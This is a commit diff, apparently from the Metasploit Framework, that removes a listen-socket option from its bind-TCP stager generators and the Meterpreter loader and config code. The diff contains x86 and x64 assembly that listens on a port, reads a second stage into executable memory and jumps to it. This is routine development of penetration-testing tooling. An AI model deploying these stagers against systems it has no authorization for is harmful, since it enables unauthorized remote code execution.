Skip to content

Commit fca4d85

Browse files
committed
Remove the passing on off listen socket values
1 parent d82bfb0 commit fca4d85

File tree

7 files changed

+24
-116
lines changed

7 files changed

+24
-116
lines changed

lib/msf/base/sessions/meterpreter_options.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,6 @@ def initialize(info = {})
1717
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
1818
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
1919
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]),
20-
OptBool.new('StagerCloseListenSocket', [false, "Close the listen socket in the stager", false]),
2120
OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]),
2221
OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]),
2322
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]),

lib/msf/core/payload/linux/bind_tcp.rb

Lines changed: 7 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -16,27 +16,21 @@ module Payload::Linux::BindTcp
1616

1717
include Msf::Payload::Linux
1818

19-
def close_listen_socket
20-
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
21-
end
22-
2319
#
2420
# Generate the first stage
2521
#
2622
def generate
2723

2824
# Generate the simple version of this stager if we don't have enough space
2925
if self.available_space.nil? || required_space > self.available_space
30-
return generate_bind_tcp(
31-
port: datastore['LPORT'],
32-
close_socket: close_listen_socket
33-
)
26+
return generate_bind_tcp({
27+
:port => datastore['LPORT']
28+
})
3429
end
3530

3631
conf = {
37-
port: datastore['LPORT'],
38-
close_socket: close_listen_socket,
39-
reliable: true
32+
:port => datastore['LPORT'],
33+
:reliable => true
4034
}
4135

4236
generate_bind_tcp(conf)
@@ -60,10 +54,6 @@ def required_space
6054
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
6155
space += 14
6256

63-
# Adding 6 bytes to the payload when we include the closing of the listen
64-
# socket
65-
space += 6 if close_listen_socket
66-
6757
# The final estimated size
6858
space
6959
end
@@ -77,7 +67,6 @@ def required_space
7767
def asm_bind_tcp(opts={})
7868

7969
#reliable = opts[:reliable]
80-
close_socket = opts[:close_socket]
8170
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
8271

8372
asm = %Q^
@@ -99,10 +88,9 @@ def asm_bind_tcp(opts={})
9988
mov ecx,esp
10089
mov al,0x66 ; socketcall syscall
10190
int 0x80 ; invoke socketcall (SYS_SOCKET)
102-
^
10391
104-
unless close_socket
105-
asm << %Q^
92+
; TODO: verify that this is wanted (I think it should be),
93+
; TODO: and look to optimise this a little.
10694
; set the SO_REUSEADDR flag on the socket
10795
push ecx
10896
push 4
@@ -119,10 +107,7 @@ def asm_bind_tcp(opts={})
119107
int 0x80
120108
xchg eax,edi ; restore the socket handle
121109
add esp, 0x14
122-
^
123-
end
124110
125-
asm << %Q^
126111
pop ebx
127112
pop esi
128113
push edx
@@ -137,15 +122,8 @@ def asm_bind_tcp(opts={})
137122
shl ebx,1 ; SYS_LISTEN
138123
mov al,0x66 ; socketcall syscall (SYS_LISTEN)
139124
int 0x80 ; invoke socketcall
140-
^
141125
142-
if close_socket
143-
asm << %Q^
144126
push eax ; stash the listen socket
145-
^
146-
end
147-
148-
asm << %Q^
149127
inc ebx ; SYS_ACCEPT
150128
mov al,0x66 ; socketcall syscall
151129
mov [ecx+0x4],edx
@@ -155,16 +133,9 @@ def asm_bind_tcp(opts={})
155133
mov al,0x3 ; read syscall
156134
int 0x80 ; invoke read
157135
xchg ebx,edi ; stash the accept socket in edi
158-
^
159-
if close_socket
160-
asm << %Q^
161136
pop ebx ; restore the listen socket
162137
mov al,0x6 ; close syscall
163138
int 0x80 ; invoke close
164-
^
165-
end
166-
167-
asm << %Q^
168139
jmp ecx ; jump to the payload
169140
^
170141

lib/msf/core/payload/windows/bind_tcp.rb

Lines changed: 8 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -31,17 +31,15 @@ def generate
3131

3232
# Generate the simple version of this stager if we don't have enough space
3333
if self.available_space.nil? || required_space > self.available_space
34-
return generate_bind_tcp(
35-
port: datastore['LPORT'].to_i,
36-
close_socket: close_listen_socket
37-
)
34+
return generate_bind_tcp({
35+
:port => datastore['LPORT'].to_i
36+
})
3837
end
3938

4039
conf = {
41-
port: datastore['LPORT'].to_i,
42-
exitfunk: datastore['EXITFUNC'],
43-
close_socket: close_listen_socket,
44-
reliable: true
40+
:port => datastore['LPORT'].to_i,
41+
:exitfunk => datastore['EXITFUNC'],
42+
:reliable => true
4543
}
4644

4745
generate_bind_tcp(conf)
@@ -107,7 +105,6 @@ def required_space
107105
def asm_bind_tcp(opts={})
108106

109107
reliable = opts[:reliable]
110-
close_socket = opts[:close_socket]
111108
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
112109

113110
asm = %Q^
@@ -180,13 +177,9 @@ def asm_bind_tcp(opts={})
180177
181178
push edi ; push the listening socket, either to close, or to pass on
182179
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
180+
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
181+
call ebp ; closesocket( s );
183182
^
184-
if close_socket
185-
asm << %Q^
186-
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
187-
call ebp ; closesocket( s );
188-
^
189-
end
190183

191184
asm << %Q^
192185
recv:
@@ -218,23 +211,7 @@ def asm_bind_tcp(opts={})
218211
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
219212
; Receive the second stage and execute it...
220213
xchg ebx, eax ; ebx = our new memory address for the new stage
221-
^
222-
unless close_socket
223-
asm << %Q^
224-
pop eax ; listen socket needs to be saved
225-
^
226-
end
227-
asm << %Q^
228214
push ebx ; push the address of the new stage so we can return into it
229-
^
230-
231-
unless close_socket
232-
asm << %Q^
233-
push eax ; and push the listen socket up again
234-
^
235-
end
236-
237-
asm << %Q^
238215
read_more: ;
239216
push 0 ; flags
240217
push esi ; length
@@ -256,13 +233,6 @@ def asm_bind_tcp(opts={})
256233
add ebx, eax ; buffer += bytes_received
257234
sub esi, eax ; length -= bytes_received, will set flags
258235
jnz read_more ; continue if we have more to read
259-
^
260-
unless close_socket
261-
asm << %Q^
262-
pop esi ; put the listen socket in esi
263-
^
264-
end
265-
asm << %Q^
266236
ret ; return into the second stage
267237
^
268238

lib/msf/core/payload/windows/meterpreter_loader.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,6 @@ def asm_invoke_dll(opts={})
5353
; offset from ReflectiveLoader() to the end of the DLL
5454
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
5555
mov [ebx], edi ; write the current socket to the config
56-
mov [ebx+4], esi ; write the current listen socket to the config
5756
push ebx ; push the pointer to the configuration start
5857
push 4 ; indicate that we have attached
5958
push eax ; push some arbitrary value for hInstance

lib/msf/core/payload/windows/x64/bind_tcp.rb

Lines changed: 6 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -28,17 +28,15 @@ def close_listen_socket
2828
def generate
2929
# Generate the simple version of this stager if we don't have enough space
3030
if self.available_space.nil? || required_space > self.available_space
31-
return generate_bind_tcp(
32-
port: datastore['LPORT'],
33-
close_socket: close_listen_socket
34-
)
31+
return generate_bind_tcp({
32+
:port => datastore['LPORT']
33+
})
3534
end
3635

3736
conf = {
38-
port: datastore['LPORT'],
39-
exitfunk: datastore['EXITFUNC'],
40-
close_socket: close_listen_socket,
41-
reliable: true
37+
:port => datastore['LPORT'],
38+
:exitfunk => datastore['EXITFUNC'],
39+
:reliable => true
4240
}
4341

4442
generate_bind_tcp(conf)
@@ -104,7 +102,6 @@ def required_space
104102
#
105103
def asm_bind_tcp(opts={})
106104
reliable = opts[:reliable]
107-
close_socket = opts[:close_socket]
108105
encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
109106

110107
asm = %Q^
@@ -160,24 +157,11 @@ def asm_bind_tcp(opts={})
160157
mov rcx, rdi ; listening socket
161158
mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
162159
call rbp ; accept( s, 0, 0 );
163-
^
164-
165-
if close_socket
166-
asm << %Q^
167160
; perform the call to closesocket...
168161
mov rcx, rdi ; the listening socket to close
169162
mov rdi, rax ; swap the new connected socket over the listening socket
170163
mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
171164
call rbp ; closesocket( s );
172-
^
173-
else
174-
asm << %Q^
175-
mov r14, rdi ; stash the listen socket for later.
176-
mov rdi, rax ; swap the new connected socket over the listening socket
177-
^
178-
end
179-
180-
asm << %Q^
181165
; restore RSP so we dont have any alignment issues with the next block...
182166
add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations
183167
@@ -216,15 +200,6 @@ def asm_bind_tcp(opts={})
216200
sub rsi, rax ; length -= bytes_received
217201
test rsi, rsi ; test length
218202
jnz read_more ; continue if we have more to read
219-
^
220-
221-
unless close_socket
222-
asm << %Q^
223-
mov rsi, r14 ; restore the listen socket
224-
^
225-
end
226-
227-
asm << %Q^
228203
jmp r15 ; return into the second stage
229204
^
230205

lib/msf/core/payload/windows/x64/meterpreter_loader.rb

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -52,8 +52,7 @@ def asm_invoke_dll(opts={})
5252
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config)
5353
; offset from ReflectiveLoader() to the end of the DLL
5454
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
55-
mov [rbx], rdi ; store the comms socket handle
56-
mov [rbx+8], rsi ; store the listen socket handle
55+
mov dword ptr [rbx], edi ; store the comms socket handle
5756
mov r8, rbx ; r8 points to the extension list
5857
mov rbx, rax ; save DllMain for another call
5958
push 4 ; push up 4, indicate that we have attached
@@ -85,7 +84,7 @@ def stage_meterpreter
8584
# patch the bootstrap code into the dll's DOS header...
8685
dll[ 0, bootstrap.length ] = bootstrap
8786

88-
return dll
87+
dll
8988
end
9089

9190
end

lib/rex/payloads/meterpreter/config.rb

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -40,17 +40,12 @@ def session_block(opts)
4040

4141
session_data = [
4242
0, # comms socket, patched in by the stager
43-
0, # listen socket, patched in by the stager
4443
exit_func, # exit function identifer
4544
opts[:expiration], # Session expiry
4645
uuid, # the URL to use
4746
]
4847

49-
if is_x86?
50-
session_data.pack("VVVVA*")
51-
else
52-
session_data.pack("QQVVA*")
53-
end
48+
session_data.pack("VVVA*")
5449
end
5550

5651
def transport_block(opts)

0 commit comments

Comments
 (0)